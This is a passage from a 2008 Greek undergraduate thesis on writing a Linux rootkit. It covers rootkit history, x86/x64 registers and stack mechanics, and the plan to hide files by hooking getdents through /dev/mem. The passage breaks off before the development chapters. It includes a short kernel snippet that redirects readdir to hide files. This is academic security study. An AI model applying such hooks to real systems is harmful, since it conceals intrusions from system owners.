Ανάπτυξη rootkit σε Λειτουργικό Σύστημα Linux

Μέγεθος: px
Εμφάνιση ξεκινά από τη σελίδα:

Download "Ανάπτυξη rootkit σε Λειτουργικό Σύστημα Linux"

Transcript

1 Αλεξάνδρειο Τεχνολογικό Εκπαιδευτικό Ίδρυμα Θεσσαλονίκης Τμήμα Πληροφορικής Ανάπτυξη rootkit σε Λειτουργικό Σύστημα Linux Πτυχιακή εργασία Χατζηκυριάκου Ελένης Σεπτέμβριος 2008 Υπεύθυνος: Δρ. Ελευθέριος Μπόζιος

2 Περιεχόμενα Περιεχόμενα... 1 Πρόλογος Εισαγωγή Εξέλιξη των rootkit πυρήνα Λειτουργία rootkit /dev/mem Assembly αρχιτεκτονικής x86 και x86_ Θέματα διευθυνσιοδότησης Καταχωρητές x Καταχωρητές x86_ Στοίβα Stack Μεταφορά ελέγχου Η εντολή ret Πέρασμα παραμέτρων Η μέθοδος των καταχωρητών Η μέθοδος της στοίβας Η στοίβα σε συστήματα x Τεχνολογίες επεξεργαστών και διαφορές τους Αρχιτεκτονικές AMD64 και IA Καταστάσεις λειτουργίας και μοντέλα μνήμης Operating modes & memory models Μοντέλα δεδομένων Ιδεατή μνήμη Virtual Memory

3 1.13 Ιδεατός χώρος μνήμης 32-bit Ιδεατός χώρος μνήμης 64-bit Διακοπές και εξαιρέσεις Interrupts and exceptions Πίνακας διακοπών Interrupt descriptor table Κλήσεις συστήματος System Calls Απόκρυψη διεργασιών και φακέλων με την βοήθεια των διακοπών Τα αρχεία ELF Εκτελέσιμα Αρχεία ELF ELF σε συστήματα x Shellcode για αρχιτεκτονική x Σύνταξη assembly AT&T Βασική Μορφή Ανάπτυξη rootkit /dev/mem Εύρεση διευθύνσεων μεθόδων πυρήνα Δέσμευση μνήμης Κρύβοντας αρχεία Hooking sys_getdents Περαιτέρω ανάπτυξη Περιπτώσεις αποτυχίας Μέτρα προστασίας Συμπεράσματα ΠΑΡΑΡΤΗΜΑ Α ΠΑΡΑΡΤΗΜΑ Β ΠΑΡΑΡΤΗΜΑ Γ Αναφορές Βιβλιογραφία

4 στους γονείς μου και στον αγαπημένο φίλο Μέλανδρο 3

5 Πρόλογος Η αντιμετώπιση κακόβουλου λογισμικού γίνεται όλο και πιο αναγκαία στις μέρες μας. Καινούργια είδη, τεχνικές και ιδέες γεννιούνται κάθε μέρα. Γίνεται όλο και πιο αδύνατο να υπάρξει ένας υπολογιστής απόλυτα προστατευμένος και ταυτόχρονα λειτουργικός από κάθε άποψη. Η εξέλιξη των συστημάτων, μαζί με την ευρεία διάδοση του διαδικτύου, έφεραν τους χρήστες πιο κοντά στην γνώση, όμως ταυτόχρονα και στον κίνδυνο. Καθώς η ανάγκη για την καλύτερη προστασία αυξάνεται οι χρήστες αρχίζουν να αναζητούν λύσεις όχι μόνο σε καινούργιες εφαρμογές, αλλά και σε λειτουργικά συστήματα (ΛΣ). Μία άποψη αρκετά διαδεδομένη είναι ότι το ΛΣ Linux είναι προστατευμένο από κακόβουλα προγράμματα. Η άποψη αυτή σπανίως είναι τεκμηριωμένη. Πολλοί την αποδίδουν στο γεγονός πως αυτό το ΛΣ δεν είναι τόσο διαδεδομένο σε προσωπικούς υπολογιστές. Ας μην ξεχνάμε πως ο αρχικός σχεδιασμός βασίζεται στα multi-user multi-tasking unix συστήματα. Αν και το σύνθημα είναι GNU GNU s Not Unix, δε μπορεί να παραβλεφθεί το γεγονός πως το Linux απείχε αρκετά στον αρχικό του σχεδιασμό από αυτό που θα αποκαλούσαμε προσωπικός υπολογιστής. Ταυτόχρονα η δημιουργία κακόβουλων προγραμμάτων ήταν ανέκαθεν συνδυασμένη με την ύπαρξη προσωπικών υπολογιστών και χρηστών που λίγα γνωρίζουν για την εσωτερική λειτουργία του συστήματος που χρησιμοποιούν. Άλλοι ίσως αναφέρουν πως η ανάπτυξη ιομορφικών προγραμμάτων σε Linux είναι πιο δύσκολη διαδικασία από ότι σε άλλα ΛΣ όπως Windows. Και οι δύο παραπάνω αιτιολογίες ωστόσο αντικρούονται εύκολα όπως φαίνεται παρακάτω. 4

6 Τα τελευταία χρόνια παρατηρείται μία αύξηση της επιλογής Linux ως ΛΣ σε προσωπικούς υπολογιστές, κάτι που ήταν άμεσο αποτέλεσμα της ευκολίας χρήσης του. Επιχειρήσεις και υπηρεσίες στην Ευρώπη και στον κόσμο επιλέγουν να εγκαταστήσουν αυτό το ΛΣ λόγω του χαμηλού κόστους του. Επιπλέον, όπως γνωρίζουμε το Linux είναι ανοιχτού κώδικα. Ανέκαθεν αυτό έκανε οποιοδήποτε λογισμικό μεγαλύτερο στόχο από δημιουργούς κακόβουλων προγραμμάτων. Είναι πολύ πιο εύκολο να καταλάβεις και να βρεις τις τυχόν αδυναμίες σε ένα κομμάτι πηγαίου κώδικα παρά σε ένα κομμάτι γλώσσας μηχανής. Έτσι έχουμε για παράδειγμα εφαρμογές που λίγοι ίσως γνωρίζουν όπως είναι το clamav, ένα antivirus για Linux και άλλα συστήματα τύπου Unix. Παρά τα παραπάνω, το Linux μαζί με τα υπόλοιπα που προσφέρει, όπως σταθερότητα, και ελαφρύτητα, παραμένει μια καλή επιλογή για μικρού ή και μεγαλύτερου βάρους εξυπηρετητές, ενώ ταυτόχρονα κερδίζει έδαφος στους προσωπικούς υπολογιστές. Μαζί με αυτό κερδίζει επίσης έδαφος η άποψη πως δεν είναι άτρωτο και χωρίς κινδύνους. Στην παρούσα εργασία θα αναλυθεί ο τρόπος λειτουργίας ενός συγκεκριμένου είδους κακόβουλων προγραμμάτων με την ονομασία rootkit. Θα αναπτυχθεί ένα μικρό δείγμα σαν απόδειξη όσων θα αναφερθούν. Το ΛΣ επιλέχθηκε να είναι το Linux ακριβώς επειδή είναι ανοιχτού κώδικα. Παρέχει ένα πρόσφορο έδαφος ανακάλυψης της λειτουργίας του πυρήνα του. Μαζί με αυτό, αναλύονται και τμήματα των βασικών αρχιτεκτονικών προσωπικών υπολογιστών x86 και x64. 5

7 1 Εισαγωγή Το 1984, o Ken Thompson παρουσίασε το Reflections on Trusting Trust, όπου για πρώτη φορά αναφέρθηκε η ιδέα της απόκρυψης μιας διεργασίας μέσα σε ένα UNIX σύστημα [1]. Σύμφωνα με την ιδέα του, ενώ ο καθένας θα μπορούσε να κοιτάξει τον κώδικα ενός προγράμματος ανοιχτού κώδικα πριν το εγκαταστήσει στο σύστημά του, ωστόσο λίγοι, ίσως κανένας, δεν θα έκανε το ίδιο με την μεταγλωττισμένη έκδοση του προγράμματος αυτού. Τι θα γινόταν λοιπόν αν ο μεταγλωττιστής μας 'εκπαιδευόταν' ώστε να μπορεί να καταλάβει ένα ειδικό μοτίβο που αντιστοιχούσε σε ένα πεδίο login; Επιπλέον ο compiler μόλις έβρισκε αυτό το μοτίβο, το αντικαθιστούσε με μία άλλη εργασία που έκανε -σχεδόν- την ίδια δουλειά. Το αποτέλεσμα θα ήταν οποιοδήποτε πρόγραμμα μεταγλωττίζεται από τον συγκεκριμένο compiler, να κρύβει μέσα του την διεργασία που εμείς θέλουμε να κάνει χωρίς να το γνωρίζει ο χρήστης. Ο μεταγλωττιστής-στόχος του Thompson δεν ήταν άλλος από τον C compiler. Και από την στιγμή που αυτός έρχεται μεταγλωτισμένος για τις εκδόσεις UNIX, οι πιθανότητες να τον ελέγξει κανείς ήταν λίγες. Ο Thompson όμως προχώρησε ακόμη περισσότερο. Ο 'πειραγμένος' μεταγλωττιστής μπορούσε να καταλάβει αν προσπαθούμε να εγκαταστήσουμε μια καινούργια έκδοση μεταγλωττιστή, και αν ναι, θα προσέθετε το ίδιο χαρακτηριστικό και σε αυτόν! Αν και η ιδέα του έχει περισσότερο την μορφή backdoor ωστόσο ήταν η πρώτη φορά που έγινε αναφορά σε μία κρυμμένη διεργασία μέσα στο σύστημα. 6

8 Από τότε μέχρι σήμερα έχουν παρουσιαστεί πολλές μορφές λογισμικού που κάνουν παρόμοιες λειτουργίες. Οι κατηγορίες ανάλογα με τον τρόπο ή επίπεδο λειτουργίας ποικίλουν όπως Application level, Library level, Kernel level, Virtualized, Firmware και έχουν επικρατήσει με την ονομασία rootkits. Ένα χαρακτηριστικό αυτών των προγραμμάτων είναι ότι λειτουργούν όλο και χαμηλότερα στα επίπεδα λειτουργίας του υπολογιστή. Όπως μια πιο πρόσφατη ιδέα, αυτή των Vistualized rootkits, τα οποία φορτώνουν τον εαυτό τους, αντί για το κανονικό σύστημα και στην συνέχεια κάνουν το ΛΣ να λειτουργεί όπως θα λειτουργούσε αν ήταν 'πάνω' σε ένα Virtual Machine (VM). Εκεί πλέον ο έλεγχος ανήκει ολοκληρωτικά στο κρυφό αυτό πρόγραμμα, αφού οποιαδήποτε λειτουργία του συστήματος περνάει πρώτα από το virtual machine. Η Joanna Rutkowska παρουσίασε κάτι παρόμοιο δίνοντάς του τον κινηματογραφικό τίτλο 'Blue Pill'. Όταν το σύστημα δεχόταν αυτό το χάπι λειτουργούσε μέσα σε μια ιδεατή πραγματικότητα νομίζοντας πως αυτή είναι ο 'πραγματικός κόσμος'. Το Blue Pill είναι ένας thin hypervisor, δηλαδή ένα λογισμικό VM με ένα περιορισμένο αριθμό εντολών, ώστε να λειτουργεί με την μικρότερη δυνατή καθυστέρηση [2]-[3]. Ο εντοπισμός του Blue Pill ήρθε από την ίδια την Rutkowska με τον αναμενόμενο τίτλο 'Red Pill' [4]. Το δεύτερο μπορεί να συνοψιστεί σε μια εντολή assembly, που όταν εκτελείται επιστρέφει την διεύθυνση του πίνακα διακοπών του συστήματος. Εάν υπάρχει κάποιο VM εγκατεστημένο στο σύστημα, τότε ο πίνακα αυτός κατά πάσα πιθανότητα έχει μετατοπιστεί σε μία διεύθυνση με μεγαλύτερη τιμή. Όταν το σύστημα το βλέπει αυτό, καταλαβαίνει πως ο κόσμος του είναι μια ιδεατή πραγματικότητα από την οποία και θέλει να ξυπνήσει! Πολύ νωρίς στην εκκίνηση του υπολογιστή λειτουργούν επίσης και τα MBR 7

9 rootkits. Εγκαθιστούν τον εαυτό τους στο Master Boot Record του συστήματος, όπου και τοποθετούν ένα κομμάτι κώδικα το οποίο εκτελείται πριν την εκκίνηση του ΛΣ. Και εδώ το μοτίβο είναι το ίδιο. Η επιθυμητές διεργασίες κρύβουν την λειτουργία τους μέσα σε άλλες 'νόμιμες' διεργασίες, μια τεχνική που αποκαλείται hooking. 1.1 Εξέλιξη των rootkit πυρήνα Ερευνώντας κανείς αυτή την ιδιαίτερη κατηγορία ιομορφικού λογισμικού, τα kernel rootkit, μπορεί να δει παραλλαγές που βασίζονται στην ίδια βασική αρχή: Αλλαγή των δομών του πυρήνα. Μία δυνατότητα που παρέχεται σε οποιονδήποτε έχει δικαιώματα υπερχρήστη σε ένα μηχάνημα και ο οποίος μπορεί να εγκαταστήσει ένα kernel module [5]. Όπως είναι γνωστό ο πυρήνας στο Linux είναι σαν ένα μεγάλο κομμάτι κώδικα το οποίο μπορεί να επιδεχθεί αλλαγών και προσθηκών οποιαδήποτε στιγμή. Τα LKM (Loadable Kernel Modules) ήταν το πρώτο όχημα μέσα από το οποίο βασικές δομές και μέθοδοι του πυρήνα δέχονταν αλλαγές προκειμένου να κρυφτούν διεργασίες και αρχεία. Το δεύτερο, όπως θα δούμε παρακάτω ήταν ο πίνακας κλήσεων συστήματος. Στο ενδιάμεσο όμως υπήρξαν και άλλες τεχνικές, οι οποίες ήταν επίσης LKM, αλλά δεν βασίζονταν στον πίνακα κλήσεων συστήματος [6]. Αυτές στηρίζονταν καθαρά στις δομές του πυρήνα, κάτι που τις έκανε αντιμετωπίσιμες από την στιγμή της δημοσίευσής τους στο ευρύ κοινό. Μία από αυτές ήταν και τα VFS rootkit. Μία εκτενέστερη εξήγηση του VFS (Virtual File System) θα γίνει παρακάτω. Εδώ απλά αναφέρουμε σαν παράδειγμα την κεντρική ιδέα, η οποία περιγράφεται στο 8

10 κομμάτι κώδικα K 1. void patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir) { struct file *filep; filep = filp_open(p, O_RDONLY, 0); //f_op = file operations *orig_readdir = filep->f_op->readdir; //redirect sthn diki mas methodo filep->f_op->readdir = new_readdir; filp_close(filep, 0); } K 1. Αντικατάσταση της μεθόδου readdir Όπου readdir() είναι μέθοδος πυρήνα για την ανάγνωση ενός καταλόγου. Αντικαθιστώντας αυτήν με μία καινούργια μέθοδο new_readdir() μπορούμε να φιλτράρουμε τα αρχεία που θέλουμε να κρύψουμε [7]. Προγράμματα όπως το ls, διαβάζουν τις διεργασίες οι οποίες τρέχουν κάθε στιγμή μέσω αρχείων. Τα αρχεία αυτά βρίσκονται στο proc FS, το οποίο είναι άλλο ένα VFS. Αν επιλέξουμε να αντικαταστήσουμε τις μεθόδους που αντιστοιχούν στο /proc, μπορούμε εκτός από αρχεία πλέον να κρύψουμε και διεργασίες. Ο βαθμός δυσκολίας συγγραφής ενός τέτοιου rootkit δεν είναι μεγάλος. Όμως ο κίνδυνος που θέτει σήμερα είναι ανύπαρκτος επειδή πλέον μέθοδοι όπως readdir() δεν μπορούν να αντικατασταθούν από την στιγμή που τα σύμβολά τους δεν είναι global για τον πυρήνα και τα module. Η προσπάθεια αντικατάστασης αυτής της μεθόδου προκαλεί ένα compilation error κατά την μεταγλώττιση του module. 9

11 1.2 Λειτουργία rootkit /dev/mem Στο παρόν κείμενο θα εξεταστεί ο τρόπος λειτουργίας ενός παρόμοιου προγράμματος, το οποίο όμως χρησιμοποιεί τον πίνακα διακοπών του συστήματος. Το ΛΣ επιλέχθηκε να είναι το Linux, με τις εκδόσεις πυρήνα 2.6 και νεότερες. Με μερικές εξαιρέσεις το ίδιο πρόγραμμα θα μπορούσε να έχει τα ίδια αποτελέσματα και για τις εκδόσεις 2.4. Το πρόγραμμα δεν θα είναι LKM, όμως θα αντικαταστήσει κάποιες μεθόδους των εξυπηρετητών των κλήσεων συστήματος (syscall handlers) με άλλες που επιτελούν τις επιθυμητές λειτουργίες [8]. Το ερώτημα που δημιουργείται αμέσως είναι πώς θα γίνει αυτό, από την στιγμή που κάθε πρόγραμμα από το πιο απλό, μέχρι το πιο σύνθετο όπως ένας πυρήνας, έχει μια συγκεκριμένη περιοχή και εικόνα μνήμης, δικές του μεταβλητές, μεθόδους κλπ., στα οποία κανένα άλλο πρόγραμμα δεν έχει πρόσβαση. Η διαδικασία δεν εμπλέκει απλά την αλλαγή της ροής του προγράμματος όπως με την βοήθεια stack ή heap based overflow, μέσω δεδομένων που εισάγονται στο πρόγραμμα. Αυτό που θα κάνουμε είναι να τροποποιήσουμε απ ευθείας τις περιοχές μνήμης όπου είναι τοποθετημένος ο κώδικας της κάθε κλήσης συστήματος, δηλαδή το.text. Η τροποποίηση θα γίνει μέσω ενός ειδικού αρχείου που αντιπροσωπεύει την μνήμη στο Linux, το /dev/mem. Γράφοντας σε αυτές τις περιοχές μνήμης όπου υπάρχει ο κώδικας του πυρήνα, αναγκάζουμε το σύστημα να επιτελέσει λειτουργίες που εμείς θα προγραμματίσουμε δίνοντάς μας απεριόριστες δυνατότητες. Συνοπτικά, η διαδικασία φαίνεται στο Σχήμα 1. 10

12 Σχήμα 1. Γενική περιγραφή προγράμματος Οι περιοχές που εμείς θα τροποποιήσουμε είναι σημειωμένες με μαύρο. Άλλοτε θα τροποποιήσουμε τις ίδιες τις περιοχές όπου κατοικούν οι μέθοδοι, και άλλοτε τις διευθύνσεις όπου δείχνουν, κάνοντας ανακατεύθυνση του ελέγχου στις δικές μας μεθόδους. Οι πίνακες συστήματος που θα μας βοηθήσουν να κατατοπιστούμε στην μνήμη είναι ο Interrupt Descriptor Table (IDT), και ο syscall table [9]. Σαν τελικό στόχο επιλέξαμε το να κρύψουμε όλα τα αρχεία με την κατάληξη.mkx, κάνοντας hooking στην κλήση συστήματος που επιστρέφει τα περιεχόμενα ενός φακέλου. Τα αρχεία αυτά δεν θα είναι κρυμμένα από απ ευθείας εγγραφές ή αναγνώσεις για οποιονδήποτε γνωρίζει ότι αυτά υπάρχουν στο σύστημα. Η ανάπτυξή του θα αποδεικνύει απλά την ισχύ της εν λόγω θεωρίας. Παρακάτω θα εξεταστούν οι λεπτομέρειες για την ανάπτυξη του προγράμματος βήμα βήμα ενώ ταυτόχρονα θα εξετάζονται και οι λειτουργίες του συστήματος που το βοηθούν να επιτελέσει τους σκοπούς του. Το πρόγραμμα είναι βασισμένο στο rootkit με την ονομασία phalanx [10]. Η αρχιτεκτονική στην οποία θα εργαστούμε είναι x86 και x86_64. Δοκιμές έχουν 11

13 γίνει σε συστήματα Debian i686 και Slackware i686 (x86), Debian amd64 (x64). Η ανάπτυξη του προγράμματος έγινε με χρήση γλώσσας C και assembly. Τα εργαλεία που χρησιμοποιήθηκαν είναι τα παρακάτω, gdb, κύριος debugger για Linux (GNU debugger) gcc, επίσημος μεταγλωτιστής για προγράμματα σε C και C++ objdump, έρχεται με τις περισσότερες εκδόσεις Linux και μας βοηθάει να δούμε τον κώδικα ενός εκτελέσιμου σε γλώσσα μηχανής hexdump, όπως και το προηγούμενο, αλλά αυτή τη φορά μπορούμε να δούμε τον κώδικα στο δεκαδικό ή οκταδικό σύστημα κλπ. nasm, για την δημιουργία εκτελέσιμων από γλώσσα assembly cscope, για την ανάγνωση του κώδικα του πυρήνα (και kscope το αντίστοιχο front-end) kdevelop, για την ανάπτυξη του προγράμματος virtualbox, για τον έλεγχο της συμπεριφοράς του προγράμματός μας σε virtual machine καθώς και την εκτέλεση μικρών τμημάτων κώδικα σε απομονωμένο περιβάλλον Πριν την ανάπτυξη του προγράμματος θα γίνει μια εισαγωγή με τα βασικά στοιχεία της αρχιτεκτονικής x86 και x64 και του ΛΣ τα οποία θα μας βοηθήσουν στην κατανόηση του θέματος. Καθ όλη την διάρκεια ανάπτυξης του προγράμματος κύριος στόχος μας είναι μια 12

14 μικρή περιήγηση στην λειτουργία του ΛΣ Linux πρώτα και έπειτα η δημιουργία ενός προγράμματος που αποδεικνύει ότι όλα τα παραπάνω ισχύουν. Μέσα από την έρευνα αυτή ο αναγνώστης καλείται να σκεφθεί λίγο διαφορετικά πάνω σε θέματα που αφορούν την ασφάλεια του συστήματός του, να προβληματιστεί και να δει τα πράγματα με έναν λιγότερο συμβατικό τρόπο. 13

15 2 Assembly αρχιτεκτονικής x86 και x86_ Θέματα διευθυνσιοδότησης Η μνήμη είναι οργανωμένη και προσπελάσεται σαν μία ακολουθία από byte. Το μέγεθος της μνήμης που έχουμε κάθε στιγμή την δυνατότητα να προσπελάσουμε λέγεται χώρος διευθύνσεων. Στον χώρο διευθύνσεων μας κάθε διεύθυνση αντιστοιχεί σε ένα byte Paged memory model Σχεδόν όλες οι υλοποιήσεις της ιδεατής μνήμης διαχωρίζουν το virtual address space μιας εφαρμογής σε σελίδες (pages). Μία σελίδα είναι ένα τμήμα συνεχών ιδεατών διευθύνσεων. Ταυτόχρονα υπάρχουν πίνακες γνωστοί ως page tables οι οποίοι βοηθάνε στην μετάφραση των διευθύνσεων αυτών σε πραγματικές Segmented memory model Ο επεξεργαστής μας μπορεί να υποστηρίζει διευθυνσιοδότηση τμημάτων (segmented addressing). Σε αυτή τη περίπτωση ένα πρόγραμμα μπορεί να έχει ανεξάρτητους μεταξύ τους χώρους διευθύνσεων που ονομάζονται τμήματα (segments). Έτσι ένα πρόγραμμα μπορεί να κρατά σε διαφορετικό τμήμα τις εντολές (code segment), σε διαφορετικό την στοίβα προγράμματος (stack) κοκ. 14

16 2.1.3 Flat memory model Αυτό το είδος διευθυνσιοδότησης που χρησιμοποιείται από την αρχιτεκτονική 64bit, δεν διαχωρίζει την μνήμη σε τμήματα. Αντίθετα όλος ο χώρος διευθύνσεων είναι ενιαίος (flat memory model). Το γεγονός αυτό μικραίνει την καθυστέρηση (overhead) στην εκτέλεση των εντολών, και είναι εφικτό εξαιτίας του μεγάλου μεγέθους του χώρου διευθύνσεων που μπορούμε να έχουμε με διευθύνσεις των 64 bit. 2.2 Καταχωρητές x86 Η αρχιτεκτονική IA-32 (Intel Architecture 32bit) έχει 16 βασικούς καταχωρητές που σχετίζονται με την εκτέλεση των προγραμμάτων. Αυτοί οι καταχωρητές κατηγοριοποιούνται όπως φαίνεται στον Πίνακας 1. Μία πιο λεπτομερή περιγραφή τους δίνεται στον Πίνακας 2. Καταχωρητές γενικής χρήσης (General purpose registers) Καταχωρητές τμημάτων (Segment registers) Καταχωρητής EFLAGS Καταχωρητής EIP 8 καταχωρητές για αποθήκευση τελεστών και δεικτών Μπορούν να αποθηκεύσουν μέχρι και 6 segment selectors Αναφέρουν την κατάσταση του προγράμματος που εκτελείται και επιτρέπει περιορισμένο έλεγχο στον επεξεργαστή (σε επίπεδο εφαρμογών) Περιέχει έναν δείκτη 32-bit στην επόμενη προς (Instruction Pointer) εκτέλεση εντολή. Πίνακας 1. Καταχωρητές αρχιτεκτονικής IA-32 [11]-[12] 15

17 Καταχωρητές τμημάτων - Segment CS Code Segment Δείχνει στο ενεργό Code Segment DS Data Segment Δείχνει στο ενεργό data-segment SS Stack Segment Δείχνει στο ενεργό stack-segment ES Extra Segment Δείχνει στο ενεργό extra-segment Καταχωρητές Δεικτών - Pointer EIP Instruction Pointer Δείχνει στο offset της επόμενης προς εκτέλεση εντολής ESP Stack Pointer Δείκτης της στοίβας (Stack pointer) στο τμήμα SS EBP Base Pointer Δείκτης σε δεδομένα στην στοίβα (στο τμήμα SS) EAX Accumulator Register Γενικής Χρήσης καταχωρητές Αθροιστής για τελεστές και αποτελέσματα EBX Base Register Δείκτης σε δεδομένα που βρίσκονται στο DS segment ECX Count Register Μετρητής για συμβολοσειρές και επαναλήψεις (loops) EDX Data Register Δείκτης εισόδου/εξόδου Καταχωρητές Index ESI Source Index Δείκτης για δεδομένα στο τμήμα που δείχνει ο καταχωρητής DS - Πηγαίος δείκτης για λειτουργίες συμβολοσειρών EDI Destination Index Δείκτης σε δεδομένα στο τμήμα που ορίζει ο καταχωρητής ES Δείκτης προορισμού για λειτουργίες με συμβ/ρές EFLAGS Καταχωρητής EFLAGS Περιέχει μια ομάδα από σημαίες (flags) κατάστασης, ελέγχου και συστήματος. Πίνακας 2. Λίστα καταχωρητών αρχιτεκτονικής IA-32 [11]-[12] 16

18 Σχήμα 2. Καταχωρητής EFLAGS [11] 2.3 Καταχωρητές x86_64 Σε κατάσταση 64-bit υπάρχουν 8 επιπλέον καταχωρητές R8-R15. Ανάλογα με το μέγεθος του τελεστή (operand size) οι γενικής χρήσης καταχωρητές μετονομάζονται χρησιμοποιώντας το REX prefix: RAX, RBX, RCX, RDX, RDI, RSI, RBP, RSP για τελεστή μεγέθους 8 byte ενώ διατηρούν τα αρχικά τους ονόματα (EAX, EBX κλπ.) για τελεστή των 4 byte. 17

19 Οι καινούργιοι καταχωρητές R8-R15 μπορούν να προσπελαστούν σε οποιοδήποτε από τα επίπεδα byte, word, dword, qword παίρνοντας αντίστοιχη ονομασία. rxb για 8 bit rxw για 16 bit rxd για 32 bit rx για 64 bit, όπου Χ ο αριθμός Οι καταχωρητές τμημάτων (segment) παίρνουν την ίδια διεύθυνση και δεν έχουν ισχύ. Ο καταχωρητής με EFLAGS μετονομάζεται σε RFLAGS επεκτείνεται σε 64 bit από τα οποία μόνο τα 32 τελευταία χρησιμοποιούνται. 18

20 3 Στοίβα Stack Η μνήμη του υπολογιστή λειτουργεί ως μία στοίβα. Η στοίβα είναι μία δομή δεδομένων στην οποία η είσοδος/έξοδος των δεδομένων γίνεται με σειρά Last In First Out (LIFO). Κατά την διάρκει λειτουργίας του υπολογιστή, συμβαίνουν οι εξής ενέργειες στην στοίβα: Μεταφορά ελέγχου Όταν καλείται μία ρουτίνα, η διεύθυνση επιστροφής της εντολής αποθηκεύεται στην στοίβα έτσι ώστε ο έλεγχος να μπορεί να επιστρέφει πίσω στο πρόγραμμα που την κάλεσε. Πέρασμα παραμέτρων Η στοίβα λειτουργεί ως ένα μέσο για το πέρασμα παραμέτρων στην καλούμενη μέθοδο. Οι εντολές call και ret (return) χρησιμοποιούνται για το σωστό πέρασμα μεταξύ των μεθόδων. Η εντολή call χρησιμοποιείται για το κάλεσμα μιας μεθόδου, και έχει την εξής σύνταξη, call proc-name Όπου proc-name είναι το όνομα της ρουτίνας. Ο assembler αντικαθιστά το procname με το offset της πρώτης εντολής της καλούμενης μεθόδου. 19

21 3.1 Μεταφορά ελέγχου Η τιμή της μετατόπισης που δίνεται από την εντολή call δεν είναι μία απόλυτη τιμή (για παράδειγμα, η μετατόπιση δεν είναι σχετική με την αρχή του code segment που δίνεται από τον καταχωρητή CS), αλλά μία μετατόπιση σε bytes σχετική με την εντολή που ακολουθεί την εντολή call. Έτσι αφού έχει ανακληθεί η εντολή call από το code segment, ο καταχωρητής EIP δείχνει στην αμέσως επόμενη εντολή. Αυτήν είναι και η εντολή στην οποία θα πρέπει να επιστρέψει το πρόγραμμα μετά την εκτέλεση της υπορουτίνας. Επομένως το περιεχόμενο του EIP αποθηκεύεται στην στοίβα. Τώρα για να γίνει η μεταφορά του ελέγχου του προγράμματος στην καλούμενη ρουτίνα θα πρέπει η πρώτη εντολή αυτής της υπορουτίνας να φορτωθεί στον EIP. Για να γίνει αυτό, ο επεξεργαστής προσθέτει την σχετική μετατόπιση στην οποία αναφέρεται η εντολή call στο περιεχόμενο του EIP. Η μετατόπιση μπορεί να είναι είτε θετική είτε αρνητική ανάλογα με την διεύθυνση που βρίσκεται η εντολή στην οποία πρόκειται να μεταφερθεί ο έλεγχος σχετικά με την τρέχουσα εντολή. Στο κομμάτι κώδικα K 2, δίνονται συνοπτικά οι διαδικασίες που γίνονται κατά την διάρκεια μίας κλήσης υπορουτίνας. ESP = ESP 4 ; Κάνουμε χώρο στην στοίβα SS:ESP = EIP ; Η διεύθυνση επιστροφής μπαίνει την στοίβα EIP = EIP + σχετική μετατόπιση ; Ανανέωση του ΕΙΡ ώστε να δείχνει στην υπορουτίνα K 2. Μεταφορά ελέγχου 20

22 3.2 Η εντολή ret Χρησιμοποιείται για την επιστροφή του ελέγχου από την καλούμενη διαδικασία στην καλούσα. Ο έλεγχος επιστέφεται στην εντολή που ακολουθεί την εντολή call. Ο επεξεργαστής ξέρει που βρίσκεται αυτή η εντολή ανακαλώντας την από την κορυφή της στοίβας, όπου είχε τοποθετηθεί κατά την κλήση της υπορουτίνας. Η διαδικασία φαίνεται στο K 3. EIP = SS:ESP ESP = ESP + 4 ; Η διεύθυνση επιστροφής στον EIP με λειτουργία pop ; Η κορυφή της στοίβας δείχνει μία θέση πίσω K 3. Επιστροφή ελέγχου 3.3 Πέρασμα παραμέτρων Το πέρασμα παραμέτρων σε γλώσσα assembly είναι διαφορετικό και πιο περίπλοκο από αυτό στις γλώσσες υψηλότερου επιπέδου. Η καλούσα μέθοδος πρώτα τοποθετεί όλες τις παραμέτρους που χρειάζονται από την καλούμενη μέθοδο σε μία περιοχή μνήμης προσβάσιμη και από τις δύο μεθόδους (είτε καταχωρητές είτε μνήμη), και έπειτα η καλούμενη μέθοδος μπορεί να ξεκινήσει την διαδικασία της. Υπάρχουν δύο κοινές μέθοδοι ανάλογα με τον τύπο της περιοχής μνήμης που χρησιμοποιείται για το πέρασμα των παραμέτρων: η μέθοδος των καταχωρητών και η μέθοδος της στοίβας. Όπως φαίνεται και από τα ονόματά τους, η μέθοδος των καταχωρητών χρησιμοποιεί καταχωρητές γενικής χρήσης για να περάσει παραμέτρους, ενώ στην δεύτερη μέθοδο χρησιμοποιείται για αυτόν τον σκοπό η στοίβα. 21

23 3.4 Η μέθοδος των καταχωρητών Σε αυτή την μέθοδο, η καλούσα ρουτίνα τοποθετεί τις απαραίτητες παραμέτρους σε καταχωρητές γενικής χρήσης πριν την κλήση της υπορουτίνας. Αυτό έχει τα εξής πλεονεκτήματα: 1. Είναι ευκολότερη και πιο βολική για το πέρασμα μικρού αριθμού παραμέτρων. 2. Είναι γρηγορότερη επειδή όλες οι παράμετροι βρίσκονται σε καταχωρητές. Αλλά ταυτόχρονα και τα εξής μειονεκτήματα: 1. Το κύριο μειονέκτημα είναι ότι μόνο ένας μικρός αριθμός παραμέτρων μπορεί να υπάρξει επειδή ο αριθμός των καταχωρητών γενικής χρήσης είναι μικρός. 2. Ένα άλλο πρόβλημα είναι ότι οι καταχωρητές γενικής χρήσης χρησιμοποιούνται από την καλούσα ρουτίνα για κάποιον άλλο σκοπό. Επομένως είναι απαραίτητο να κρατηθούν τα περιεχόμενα τους στην στοίβα πριν την κλήση της υπορουτίνας και να ανακληθούν μετά την επιστροφή της. Επομένως χάνεται το πλεονέκτημα της ταχύτητας αφού εμπλέκονται και πάλι διαδικασίες πρόσβασης μνήμης. 22

24 3.5 Η μέθοδος της στοίβας Σε αυτήν την μέθοδο, όλες οι παράμετροι που χρειάζονται από την υπορουτίνα τοποθετούνται στην στοίβα πριν την κλήση της. Για παράδειγμα αν θέλουμε να περάσουμε δύο παραμέτρους n1 και n2 στην υπορουτίνα sub_proc, τότε χρησιμοποιούμε το κομμάτι κώδικα K 4. push push call n1 n2 sub_proc K 4. Πέρασμα παραμέτρων με χρήση της στοίβας Μετά την εκτέλεση της εντολής call, η οποία θα προκαλέσει την αυτόματη τοποθέτηση του περιεχομένου του EIP στην στοίβα, η στοίβα θα έχει μορφή όπως παρουσιάζεται στο Σχήμα 3. 0xffffff p p return <--- Κορυφή στοίβας (ESP) address x Σχήμα 3. Στοίβα μετά την κλήση της εντολής call Χωρίς να ξεχνάμε ποτέ ότι η στοίβα μεγαλώνει προς μικρότερες διευθύνσεις. Το διάβασμα των παραμέτρων p1 και p2 γίνεται ως εξής: Οι παράμετροι βρίσκονται κάτω από την τιμή του EIP, άρα για την προσπέλαση αυτών θα πρέπει να κάνουμε 